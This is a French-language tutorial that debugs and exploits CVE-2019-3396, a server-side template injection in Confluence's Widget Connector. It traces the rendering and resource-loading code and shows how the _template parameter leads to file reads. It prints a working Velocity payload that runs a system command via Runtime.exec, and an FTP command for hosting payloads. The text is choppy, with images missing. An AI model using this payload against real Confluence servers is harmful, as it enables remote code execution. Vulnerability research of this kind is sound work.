
Guide pas à pas d'analyse et d'exploitation pour CVE-2019-3396, une vulnérabilité critique SSTI dans Confluence Server & Data Center, incluant le débogage et l'exécution de payloads RCE.
Produit affecté : Confluence Server & Data Center
Versions affectées : de 6.0.0 à 6.15.4
Sévérité : Critique (CVSS ~9.8)
Cause :
Confluence dispose du plugin Widget Connector (utilisé pour intégrer des vidéos et du contenu externe comme YouTube, Vimeo...).
Cette fonctionnalité ne contrôle pas correctement les entrées utilisateur, ce qui mène à une Server-Side Template Injection (SSTI).
Un attaquant peut envoyer un payload malveillant → Confluence effectue le rendu avec le moteur de templates Velocity → exécution de code sur le serveur.
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
https://nguyendt.hashnode.dev/confluence-cve-2019-3396




Widget Connector, essayons de le chercher dans le dossier source de Confluence
com.atlassian.confluence.extra.widgetconnector.WidgetMacro.classDefaultRenderManager.class
getEmbeddedHtml() est utilisée
YoutubeRendererurl → le lien YouTube d’origine saisi par l’utilisateurparams → une map contenant les paramètres de configuration pour le rendu (par exemple : largeur, hauteur, template utilisé pour le rendu, etc.).
getEmbedUrl(), setDefaultParam() et DefaultVelocityRenderService.render()setDefaultParam()
Si _template n’existe pas → le template par défaut youtube.vm est assigné.
=> On peut donc ajouter soi-même _template au programme
Passons maintenant à DefaultVelocityRenderService.render()
Objectif de la méthode
Reçoit url + les paramètres params.
Utilise le template Velocity (.vm) pour générer le HTML intégré (iframe, embed, …).
Détermination du template
Si params contient _template → utilise ce template.
Sinon → utilise le template par défaut embed.vm.
Crée le contexte par défaut avec MacroUtils.defaultVelocityContext().
Ajoute tous les paramètres de params dans le contexte :
Si la clé est tweetHtml → le HTML est conservé tel quel.
Sinon → encodage sécurisé avec GeneralUtil.htmlEncode().
Ajoute urlHtml, width, height au contexte (s’ils sont vides, valeurs par défaut 400 × 300).

VelocityUtils.getRenderedTemplate()
getRenderedTemplate et getRenderedTemplateWithoutSwallowingErrors() sont appelées
getTemplate() est appelée
Ici, templateName correspond au _template mentionné plus haut.
Puis VelocityEngine.Template() est appelée

VelocityEngine, RunimeInstance.getTemplate() est ensuite appelée
RuntimeInstance (noyau Velocity)
C’est le « cœur » de Velocity Engine. Il s’occupe de :
Initialiser le moteur (init)
Gérer la configuration, les macros, le parser, les directives, les gestionnaires d’événements…
Et surtout : gérer les ressources via ResourceManager
→ Autrement dit, RuntimeInstance ne charge pas lui-même les ressources, mais délègue cette tâche à resourceManager.
CompatibleVelocityResourceManager.getResource() est appelée
ConfigurableResourceManager (personnalisé par Confluence)
C’est une implémentation de l’interface ResourceManager.
Il est responsable de :
Gérer les resource loaders (file loader, classpath loader, URL loader…).
Gérer le globalCache (cache des templates selon resourceKey).
Charger/actualiser le template (fichier .vm) lorsque RuntimeInstance le demande.

try {
this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
this.globalCache.remove(resourceKey);
return this.getResource(resourceName, resourceType, encoding);
}
Lorsqu’une ressource est dans le cache, elle n’est pas renvoyée immédiatement : refreshResource(...) est appelé.
refreshResource compare la date de dernière modification sur le disque avec celle du cache.
Si le fichier a changé → la ressource en cache est invalidée → rechargée depuis le disque → le cache est mis à jour.
👉 Vous n’avez donc pas besoin de modifier resourceKey manuellement. Le mécanisme de refresh garantit que lorsque le template change, le cache est également mis à jour.
Ajoutez _template et renvoyez la requête

ResourceLoader (objets déjà initialisés) dans Velocity

FileResourceLoader et ClasspathResourceLoaderFileResourceLoaderStringUtils.normalizePath() est appelé pour bloquer les traversées de chemin (path traversal)

normalizePath est visible sur l’image
/WEB-INF/web.xml et vous verrez que le fichier est chargé avec succès.
/../ est bloqué.ClasspathResourceLoader
ClassUtils.getResourceAsStream
findResource() de /org/apache/catalina/loader/WebappClassLoaderBase.class
super.findResource(), qui retourne une URL ; l’objet peut donc être récupéré.

url.openStream() est appelé pour récupérer les données

file) de Java pour obtenir la liste des répertoires.
Payload exécuté
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
$scan.next()
#end
$runtime.exec("id") → exécute la commande système "id" sur Ubuntu.python3 -m pyftpdlib -p 2005

Exécution :
